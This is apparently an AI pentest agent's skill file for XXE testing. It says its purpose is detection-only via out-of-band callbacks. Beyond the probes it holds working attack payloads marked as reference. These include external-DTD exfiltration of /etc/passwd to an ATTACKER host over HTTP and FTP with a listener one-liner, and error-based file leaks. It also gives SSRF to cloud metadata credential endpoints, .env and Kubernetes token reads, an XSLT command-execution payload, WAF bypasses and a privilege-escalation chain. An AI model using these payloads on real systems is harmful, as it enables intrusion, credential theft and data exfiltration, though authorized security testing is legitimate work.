Imported from jayjpatel9717/kurukshetra_updated (squads/pentest/agents/kritavarma/skills/xxe-testing/SKILL.md). Install upstream with npx skills add jayjpatel9717/kurukshetra_updated --skill xxe-testing. Copyright stays with the author.

XXE Testing — KRITAVARMA 🏹

Role

XML External Entity (XXE) injection specialist. Detects XXE vulnerabilities across all XML-accepting surfaces — file uploads, REST APIs, SOAP services, RSS feeds, and JSON endpoints susceptible to Content-Type switching. Confirms via OOB DNS/HTTP callback. Detection only — no file read, no data exfiltration.

Trigger Phrases

• "XXE", "XML external entity", "XML injection", "entity injection"
• "SVG upload", "DOCX upload", "XLSX upload", "XML file upload"
• "SOAP injection", "XML API", "OOB XXE", "blind XXE"
• "external entity", "DOCTYPE injection", "DTD injection"

(MANDATORY) Detection-First Philosophy

This agent operates in DETECTION mode only. Never in exploitation mode.

The Rule: Probe → Observe → Classify → Stop

Step 1: Send minimal XXE probe with OOB callback URL
Step 2: Observe — DNS/HTTP callback received? Error in response? Behavior change?
Step 3: Classify: Suspected / Not Vulnerable
Step 4: If suspected → document with evidence, mark for KRIPA validation
Step 5: STOP — do not read files, do not extract data, do not escalate

DO NOT

• ❌ File read payloads (file:///etc/passwd)
• ❌ SSRF via XXE to internal metadata endpoints
• ❌ Blind XXE file exfiltration via OOB DTD
• ❌ Automated payload floods
• ❌ Nested entity bombs (DoS risk)

DO

• ✅ Single minimal OOB probe first (DNS callback URL only)
• ✅ Observe DNS/HTTP callback at interaction server
• ✅ Try 2-3 surface variants (SVG, XML body, SOAP)
• ✅ Mark finding as "Suspected" with callback evidence
• ✅ Pass to KRIPA for validation

Finding Status You Can Assign

• Suspected-High — OOB DNS/HTTP callback confirmed
• Suspected-Medium — Response behavior changed (error, delay, different status)
• Not Vulnerable — No callback, no behavior change after 3 probes

XML Attack Surfaces

Surfaces That Accept XML (Generic)

[1] FILE UPLOAD ENDPOINTS
    ├── SVG image upload (browsers render SVG; parsers often process DOCTYPE)
    ├── XML file upload (direct XML import/export features)
    ├── DOCX / XLSX / PPTX upload (Office Open XML = ZIP containing XML files)
    │   ├── DOCX: word/document.xml — inject into content XML
    │   ├── XLSX: xl/sharedStrings.xml or xl/workbook.xml
    │   └── ODT/ODS: content.xml
    ├── PDF upload (some PDF processors use XML internally)
    └── Any "import" feature accepting structured file formats

[2] REST API ENDPOINTS
    ├── JSON endpoints — try switching Content-Type to application/xml
    ├── Endpoints with Content-Type: application/xml or text/xml explicitly
    ├── Endpoints that accept both JSON and XML (content negotiation)
    └── API import/export endpoints

[3] SOAP WEB SERVICES
    ├── Any WSDL-described service endpoint
    ├── Legacy enterprise APIs (financial, healthcare, ERP integrations)
    ├── Endpoints under /soap, /ws, /wsdl, /services, /api/soap
    └── HTTP POST requests with SOAPAction header

[4] RSS / ATOM / SITEMAP FEEDS
    ├── Endpoints that parse RSS/Atom feed URLs submitted by users
    ├── Feed aggregator import features
    ├── Sitemap.xml processors
    └── Podcast/content import features

[5] OTHER XML SURFACES
    ├── Configuration upload endpoints
    ├── Database import (SQL/XML combined formats)
    ├── Chart/graph data import (SVG/XML-based charting libraries)
    ├── E-commerce order import (EDI, cXML)
    └── Any feature where the backend parses user-controlled XML

Content-Type Probing for Hidden XML Surfaces

Many JSON endpoints secretly accept XML if Content-Type is switched:

# Original JSON request
POST /api/user/update
Content-Type: application/json
{"name": "test"}

# Switch to XML — does it parse?
POST /api/user/update
Content-Type: application/xml
<user><name>test</name></user>

# If response changes or parses → XML parser active → test for XXE

Probe sequence:

1. Identify a JSON endpoint accepting structured POST data
2. Resend with Content-Type: application/xml and equivalent XML body
3. If response reflects XML structure or doesn't reject with 415 → XML parser is active
4. Proceed with XXE probe on that endpoint

XXE Detection Payloads

Classic XXE Minimal Probe (OOB Only — Safe)

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/xxe-probe">]>
<root>&xxe;</root>

Replace YOUR_CALLBACK_DOMAIN with:

• Burp Collaborator: UNIQUE_ID.burpcollaborator.net
• interactsh: UNIQUE_ID.oast.fun or UNIQUE_ID.interact.sh
• custom server you control: xxe.yourdomain.com

Evidence of XXE: HTTP request or DNS lookup received at callback server.

SVG XXE (File Upload)

Upload this as test.svg to image upload endpoints:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/svg-xxe">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text x="10" y="20">&xxe;</text>
</svg>

Why SVG: Browsers and server-side image processors (ImageMagick, Batik, librsvg) often parse SVG DOCTYPE.

Probe Checklist for File Uploads:

• Upload as image/svg+xml
• Upload as image/png with SVG content (content-type bypass)
• Upload as text/xml directly
• If DOCX accepted: inject into word/document.xml inside zip

DOCX/XLSX XXE (Office File Upload)

Create a test DOCX/XLSX with OOB entity probe:

# Step 1: Create zip structure (DOCX = ZIP)
mkdir -p /tmp/xxe-docx/word
cat > /tmp/xxe-docx/word/document.xml << 'EOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/docx-xxe">]>
<w:document xmlns:wpc="..." xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
EOF

# Step 2: Package as DOCX
cd /tmp/xxe-docx && zip -r ../test-xxe.docx .

# Step 3: Upload test-xxe.docx to upload endpoint

Blind XXE via OOB DNS Callback

When classic entity injection is blocked, use parameter entities for OOB:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/blind-xxe">
  %xxe;
]>
<root>test</root>

Parameter entity (%xxe) is evaluated during DOCTYPE parsing — triggers even if &entity; references are filtered from element content.

Error-Based XXE Detection

Force an error that leaks template engine/parser behavior in response:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/error-xxe">
  %xxe;
]>
<root>test</root>

Detection signal: 500 error or unusual response body, OR callback received at YOUR_CALLBACK_DOMAIN.

SOAP XXE

Inject into SOAP envelope body:

POST /soap/endpoint HTTP/1.1
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:action"

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [
  <!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/soap-xxe">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetData><Value>&xxe;</Value></GetData>
  </soap:Body>
</soap:Envelope>

XXE via JSON API Content-Type Switch

# Step 1: Identify JSON POST endpoint
POST /api/import
Content-Type: application/json
{"data": "value"}

# Step 2: Switch Content-Type and send XML with XXE probe
POST /api/import
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://YOUR_CALLBACK_DOMAIN/json-api-xxe">]>
<data><field>test</field></data>

# Step 3: Also try Content-Type: text/xml

Signal: Different HTTP status (200 vs 415), different response body, or callback received.

Bypass Techniques for Filtered XXE

<!-- Character encoding bypass (UTF-16) -->
# Convert payload to UTF-16LE encoding before sending

<!-- Parameter entity when direct entities blocked -->
<!DOCTYPE foo [
  <!ENTITY % p "<!ENTITY xxe SYSTEM 'http://CALLBACK'>">
  %p;
]>
<root>&xxe;</root>

<!-- Nested encoding: HTML entity for % -->
<!ENTITY &#x25; xxe SYSTEM "http://CALLBACK">

<!-- Using local DTD file repurposing (when external DTD blocked) -->
<!-- Reference known local DTD then redefine entities within it -->

<!-- XInclude (when DOCTYPE blocked but xinclude allowed) -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="http://CALLBACK/xi"/>
</root>

Tool Commands

# Set up OOB callback listener
interactsh-client -v
# OR use Burp Collaborator / canarytokens.org

# Test REST endpoint with XXE probe
curl -s -X POST "https://TARGET/api/endpoint" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://CALLBACK_DOMAIN/test">]><root>&xxe;</root>' \
  -o /tmp/xxe-resp.txt -w "%{http_code}"

# Content-type switch probe
curl -s -X POST "https://TARGET/api/json-endpoint" \
  -H "Content-Type: application/xml" \
  -d '<root><field>test</field></root>'

# SVG upload
curl -s -X POST "https://TARGET/upload" \
  -F "file=@/tmp/test.svg;type=image/svg+xml" \
  -b "session=COOKIE"

# SOAP endpoint probe
curl -s -X POST "https://TARGET/soap" \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: test" \
  -d @/tmp/soap-xxe.xml

# Check WSDL for SOAP endpoints
curl -s "https://TARGET/service?wsdl" | grep -i "operation\|binding\|port"

Severity Classification

CVSS Scoring Guide

Base Score (Blind OOB): ~7.5 (High) Base Score (File Read): ~9.1 (Critical)

XXE via File Upload (Advanced)

SVG with External Stylesheet XXE

<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "http://CALLBACK/svg-style-xxe">
]>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <style>&xxe;</style>
  <rect width="100" height="100"/>
</svg>

SVG via xlink:href (When DOCTYPE Is Blocked)

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="http://CALLBACK/svg-xlink-xxe" width="100" height="100"/>
</svg>

SVG via foreignObject

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "http://CALLBACK/svg-foreign">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <foreignObject width="100" height="100">
    <body xmlns="http://www.w3.org/1999/xhtml">&xxe;</body>
  </foreignObject>
</svg>

DOCX XXE (Full Working Example)

# Create minimal DOCX structure
mkdir -p /tmp/xxe-docx/word /tmp/xxe-docx/_rels

# Content Types
cat > /tmp/xxe-docx/'[Content_Types].xml' << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/>
</Types>
XMLEOF

# Relationships
cat > /tmp/xxe-docx/_rels/.rels << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/>
</Relationships>
XMLEOF

# Malicious document.xml with XXE
cat > /tmp/xxe-docx/word/document.xml << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/docx-xxe">]>
<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p></w:body>
</w:document>
XMLEOF

# Package
cd /tmp/xxe-docx && zip -r /tmp/test-xxe.docx . && cd -

# Upload
curl -s -X POST "https://TARGET/upload" \
  -F "file=@/tmp/test-xxe.docx;type=application/vnd.openxmlformats-officedocument.wordprocessingml.document" \
  -b "session=COOKIE"

XLSX XXE

# Create minimal XLSX structure
mkdir -p /tmp/xxe-xlsx/xl /tmp/xxe-xlsx/_rels

cat > /tmp/xxe-xlsx/'[Content_Types].xml' << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
  <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
  <Default Extension="xml" ContentType="application/xml"/>
  <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
</Types>
XMLEOF

cat > /tmp/xxe-xlsx/_rels/.rels << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
  <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>
XMLEOF

# Malicious workbook.xml
cat > /tmp/xxe-xlsx/xl/workbook.xml << 'XMLEOF'
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/xlsx-xxe">]>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
  <sheets><sheet name="Sheet1" sheetId="1" r:id="rId1" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">&xxe;</sheet></sheets>
</workbook>
XMLEOF

cd /tmp/xxe-xlsx && zip -r /tmp/test-xxe.xlsx . && cd -

curl -s -X POST "https://TARGET/upload" \
  -F "file=@/tmp/test-xxe.xlsx;type=application/vnd.openxmlformats-officedocument.spreadsheetml.sheet" \
  -b "session=COOKIE"

PDF with Embedded XML (XFA Forms)

Some PDF processors parse XFA (XML Forms Architecture):

<!-- Embed in PDF XFA stream -->
<?xml version="1.0"?>
<!DOCTYPE xfa [<!ENTITY xxe SYSTEM "http://CALLBACK/pdf-xfa-xxe">]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <template>&xxe;</template>
</xdp:xdp>

# Use a tool to create PDF with XFA payload
# Or manually inject into an existing PDF's XFA stream
# Then upload:
curl -s -X POST "https://TARGET/upload" \
  -F "file=@/tmp/test-xxe.pdf;type=application/pdf" \
  -b "session=COOKIE"

OOB XXE Exfiltration Techniques (Reference — Detection Agent Does NOT Execute)

Documented for severity classification. KRITAVARMA only sends detection probes with callback URLs, never file-read payloads.

Parameter Entity OOB Exfiltration

<!-- Step 1: Host this DTD on attacker server as evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://CALLBACK/?data=%file;'>">
%eval;
%exfil;

<!-- Step 2: Send this payload to target -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER/evil.dtd">
  %xxe;
]>
<root>test</root>

FTP-Based OOB Exfiltration

FTP exfil works when HTTP outbound is blocked but FTP is allowed:

<!-- evil.dtd hosted on attacker -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'ftp://ATTACKER:2121/%file;'>">
%eval;
%exfil;

<!-- Target payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER/evil-ftp.dtd">
  %xxe;
]>
<root>test</root>

# Run FTP listener on attacker to capture data
# Using xxeserv or ruby one-liner:
ruby -rsocket -e 'f=TCPServer.new(2121);loop{c=f.accept;puts c.gets;c.puts "220 OK\r\n";loop{d=c.gets;puts d;c.puts "230 OK\r\n" if d=~/USER/;c.puts "230 OK\r\n" if d=~/PASS/;c.puts "257 /\r\n" if d=~/PWD|CWD/;c.puts "227 (127,0,0,1,0,0)\r\n" if d=~/PASV/;break if d=~/QUIT/}}'

Error-Based Exfiltration

When OOB is blocked, force errors that include file content:

<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

<!-- Target payload -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER/error.dtd">
  %xxe;
]>
<root>test</root>

Result: Error message like java.io.FileNotFoundException: /nonexistent/actual-hostname-value

Blind XXE Detection (Advanced)

DNS Callback Detection

<!-- Most reliable blind detection — DNS always resolves -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://UNIQUE_ID.CALLBACK_DOMAIN/blind-dns">
  %xxe;
]>
<root>test</root>

# Using interactsh
interactsh-client -v 2>&1 | tee /tmp/xxe-callbacks.log &

# Send probe
curl -s -X POST "https://TARGET/api/endpoint" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://UNIQUE_ID.oast.fun/dns-test">%xxe;]><root>test</root>'

# Check callbacks
grep "UNIQUE_ID" /tmp/xxe-callbacks.log

HTTP Callback Detection

# Start simple HTTP listener
python3 -m http.server 8888 &

# Send probe referencing your listener
curl -s -X POST "https://TARGET/api/endpoint" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://YOUR_IP:8888/xxe-confirm">]><root>&xxe;</root>'

# Check listener output for incoming request from target

Error-Based Detection (No OOB)

<!-- Force parser error to confirm DOCTYPE processing -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "file:///nonexistent_file_xxe_test_12345">
  %xxe;
]>
<root>test</root>

Signal: Error response containing "file not found" / "FileNotFoundException" / path reference = parser processes external entities.

<!-- Recursive entity to detect parser behavior -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY a "xxe">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
]>
<root>&b;</root>

Signal: If "xxexxexxe..." in response = entities resolved. If error about entity depth = parser processes but limits recursion.

XXE in JSON APIs (Content-Type Switch — Detailed)

Step-by-Step JSON → XML Switch

# 1. Capture normal JSON request
curl -s -X POST "https://TARGET/api/users" \
  -H "Content-Type: application/json" \
  -d '{"username":"test","email":"test@test.com"}' \
  -o /tmp/json-resp.txt -w "\n%{http_code}\n%{content_type}"

# 2. Convert JSON to XML equivalent
curl -s -X POST "https://TARGET/api/users" \
  -H "Content-Type: application/xml" \
  -d '<root><username>test</username><email>test@test.com</email></root>' \
  -o /tmp/xml-resp.txt -w "\n%{http_code}\n%{content_type}"

# 3. If Step 2 doesn't return 415 → XML parser active, add XXE probe
curl -s -X POST "https://TARGET/api/users" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/json-api-xxe">]><root><username>&xxe;</username><email>test@test.com</email></root>' \
  -o /tmp/xxe-resp.txt -w "\n%{http_code}"

# 4. Also try text/xml
curl -s -X POST "https://TARGET/api/users" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/json-text-xml">]><root><username>&xxe;</username></root>'

# 5. Try with charset specification
curl -s -X POST "https://TARGET/api/users" \
  -H "Content-Type: application/xml; charset=utf-8" \
  -d '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/json-charset">]><root><username>&xxe;</username></root>'

Content-Type Variants to Try

application/xml
text/xml
application/xhtml+xml
application/soap+xml
application/rss+xml
application/atom+xml
application/x-www-form-urlencoded  → then send XML in body

XXE in SOAP (Advanced)

WSDL Discovery and Injection

# Discover SOAP endpoints
curl -s "https://TARGET/service?wsdl" -o /tmp/wsdl.xml
curl -s "https://TARGET/ws?wsdl" -o /tmp/wsdl2.xml
curl -s "https://TARGET/soap?wsdl" -o /tmp/wsdl3.xml
curl -s "https://TARGET/services?wsdl" -o /tmp/wsdl4.xml
curl -s "https://TARGET/api/soap?wsdl" -o /tmp/wsdl5.xml

# Parse WSDL for operations
grep -iE "operation name|binding|portType|service name" /tmp/wsdl.xml

# Extract SOAP endpoint URL from WSDL
grep -i "location" /tmp/wsdl.xml

SOAP Body XXE

curl -s -X POST "https://TARGET/soap/service" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: \"urn:GetUserInfo\"" \
  -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soap:Envelope [
  <!ENTITY xxe SYSTEM "http://CALLBACK/soap-body-xxe">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetUserInfo xmlns="http://target.com/ws">
      <UserId>&xxe;</UserId>
    </GetUserInfo>
  </soap:Body>
</soap:Envelope>'

SOAP Header XXE

curl -s -X POST "https://TARGET/soap/service" \
  -H "Content-Type: text/xml" \
  -H "SOAPAction: \"urn:action\"" \
  -d '<?xml version="1.0"?>
<!DOCTYPE soap:Envelope [
  <!ENTITY xxe SYSTEM "http://CALLBACK/soap-header-xxe">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header>
    <Auth xmlns="http://target.com/ws">
      <Token>&xxe;</Token>
    </Auth>
  </soap:Header>
  <soap:Body>
    <GetData xmlns="http://target.com/ws"/>
  </soap:Body>
</soap:Envelope>'

WSDL Injection (External WSDL Reference)

If the application imports WSDL from user-supplied URL:

# Host malicious WSDL
# malicious.wsdl contains XXE in its types/schema section

curl -s -X POST "https://TARGET/api/soap/import" \
  -H "Content-Type: application/json" \
  -d '{"wsdl_url": "http://ATTACKER/malicious.wsdl"}'

SSRF via XXE

Using SYSTEM Entity to Probe Internal Network

<!-- AWS metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>

<!-- GCP metadata -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/?recursive=true">
]>
<root>&xxe;</root>

<!-- Internal services scan -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://127.0.0.1:8080/">
]>
<root>&xxe;</root>

<!-- Kubernetes API -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://kubernetes.default.svc/api/v1/namespaces">
]>
<root>&xxe;</root>

Port Scanning via XXE

# Scan common internal ports — detect via response time or error differences
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
  echo "Testing port $port..."
  curl -s -X POST "https://TARGET/api/xml" \
    -H "Content-Type: application/xml" \
    -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1:$port/\">]><root>&xxe;</root>" \
    -o /dev/null -w "Port $port: HTTP %{http_code}, Time: %{time_total}s\n"
done

SSRF High-Value Targets

http://169.254.169.254/latest/meta-data/iam/security-credentials/   → AWS IAM role creds
http://169.254.169.254/latest/user-data                             → AWS user data (may contain secrets)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token → GCP access token
http://169.254.169.254/metadata/v1/                                 → DigitalOcean metadata
http://169.254.169.254/openstack/latest/meta_data.json              → OpenStack metadata
http://127.0.0.1:2379/v2/keys/                                     → etcd key store
http://127.0.0.1:8500/v1/kv/?recurse                               → Consul KV store
http://127.0.0.1:6379/INFO                                         → Redis info
http://127.0.0.1:9200/_cluster/settings                             → Elasticsearch
http://127.0.0.1:27017/                                             → MongoDB
file:///var/run/secrets/kubernetes.io/serviceaccount/token           → K8s SA token
file:///proc/self/environ                                           → Environment variables

Modern XXE Variants

XInclude Injection (When DOCTYPE Is Blocked)

When the application blocks <!DOCTYPE> but processes XML:

<!-- XInclude — doesn't need DOCTYPE -->
<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="http://CALLBACK/xinclude-xxe" parse="text"/>
</root>

curl -s -X POST "https://TARGET/api/endpoint" \
  -H "Content-Type: application/xml" \
  -d '<root xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://CALLBACK/xinclude" parse="text"/></root>'

XInclude for File Read (Reference Only)

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include href="file:///etc/passwd" parse="text"/>
</root>

XSLT Injection

If the application applies XSLT transformations on user-supplied XML:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="http://CALLBACK/xslt-xxe"?>
<root>test</root>

XSLT with embedded code execution:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime">
  <xsl:template match="/">
    <xsl:variable name="rtObj" select="rt:getRuntime()"/>
    <xsl:variable name="execObj" select="rt:exec($rtObj,'id')"/>
    <xsl:value-of select="$execObj"/>
  </xsl:template>
</xsl:stylesheet>

# Test if XSLT processing is enabled
curl -s -X POST "https://TARGET/api/transform" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><?xml-stylesheet type="text/xsl" href="http://CALLBACK/xslt-probe"?><root>test</root>'

XML Schema Poisoning

If the application validates against external XSD:

<?xml version="1.0"?>
<root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
      xsi:noNamespaceSchemaLocation="http://CALLBACK/schema-xxe.xsd">
  <data>test</data>
</root>

curl -s -X POST "https://TARGET/api/validate" \
  -H "Content-Type: application/xml" \
  -d '<?xml version="1.0"?><root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://CALLBACK/schema-probe.xsd"><data>test</data></root>'

SSML Injection (Speech Synthesis Markup)

Applications using text-to-speech may parse SSML (XML-based):

<?xml version="1.0"?>
<!DOCTYPE speak [<!ENTITY xxe SYSTEM "http://CALLBACK/ssml-xxe">]>
<speak version="1.0" xmlns="http://www.w3.org/2001/10/synthesis">
  <prosody>&xxe;</prosody>
</speak>

XML-RPC XXE

<?xml version="1.0"?>
<!DOCTYPE methodCall [
  <!ENTITY xxe SYSTEM "http://CALLBACK/xmlrpc-xxe">
]>
<methodCall>
  <methodName>&xxe;</methodName>
  <params><param><value>test</value></param></params>
</methodCall>

curl -s -X POST "https://TARGET/xmlrpc.php" \
  -H "Content-Type: text/xml" \
  -d '<?xml version="1.0"?><!DOCTYPE methodCall [<!ENTITY xxe SYSTEM "http://CALLBACK/xmlrpc">]><methodCall><methodName>&xxe;</methodName><params><param><value>test</value></param></params></methodCall>'

XXE Chaining

XXE → SSRF → Internal API → Privilege Escalation

Step 1: Confirm XXE via OOB callback
  → DNS/HTTP callback received

Step 2: Use XXE SSRF to discover internal services
  → Probe 127.0.0.1:8080, 127.0.0.1:3000, etc.
  → Probe cloud metadata (169.254.169.254)

Step 3: Read internal API responses via XXE
  → If response is reflected: direct SYSTEM entity read
  → If blind: use OOB exfil chain (parameter entity → external DTD → FTP/HTTP)

Step 4: Extract credentials
  → AWS metadata → IAM role credentials
  → K8s service account token → kubectl access
  → Internal admin API → auth bypass
  → Environment variables → database passwords

Step 5: Escalate
  → Use extracted creds to access other services
  → K8s token → pod exec → container escape
  → AWS creds → S3/EC2/Lambda access

XXE → File Read → Credential Harvest

<!-- Read .env file via direct XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///app/.env">]>
<root>&xxe;</root>

<!-- If multi-line files fail, use PHP filter (PHP apps only) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/app/.env">]>
<root>&xxe;</root>

<!-- Java: use jar protocol for multi-line -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///app/config.properties!/">]>
<root>&xxe;</root>

XXE → DoS (Billion Laughs — Reference Only, Never Execute)

<!-- Exponential entity expansion — DO NOT SEND, reference only -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- ... escalates exponentially ... -->
]>
<root>&lol9;</root>
<!-- This is documented to understand why parsers limit entity expansion -->

Advanced Bypass Techniques

UTF-16 Encoding Bypass

# Convert XML payload to UTF-16 to bypass WAF string matching
echo '<?xml version="1.0" encoding="UTF-16"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://CALLBACK/utf16">]><root>&xxe;</root>' | iconv -f UTF-8 -t UTF-16LE > /tmp/xxe-utf16.xml

curl -s -X POST "https://TARGET/api/endpoint" \
  -H "Content-Type: application/xml; charset=utf-16" \
  --data-binary @/tmp/xxe-utf16.xml

UTF-7 Encoding Bypass

<?xml version="1.0" encoding="UTF-7"?>
+ADw-!DOCTYPE foo +AFs-+ADw-!ENTITY xxe SYSTEM +ACI-http://CALLBACK/utf7+ACI-+AD4-+AF0-+AD4-
+ADw-root+AD4-+ACY-xxe+ADs-+ADw-/root+AD4-

Local DTD Repurposing (When External DTD Blocked)

<!-- Use a known local DTD file to redefine entities -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///etc/hostname">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
  '>
  %local_dtd;
]>
<root>test</root>

Common local DTD paths:

/usr/share/yelp/dtd/docbookx.dtd          (Linux - Gnome)
/usr/share/xml/fontconfig/fonts.dtd        (Linux - fontconfig)
/usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd  (Tomcat)
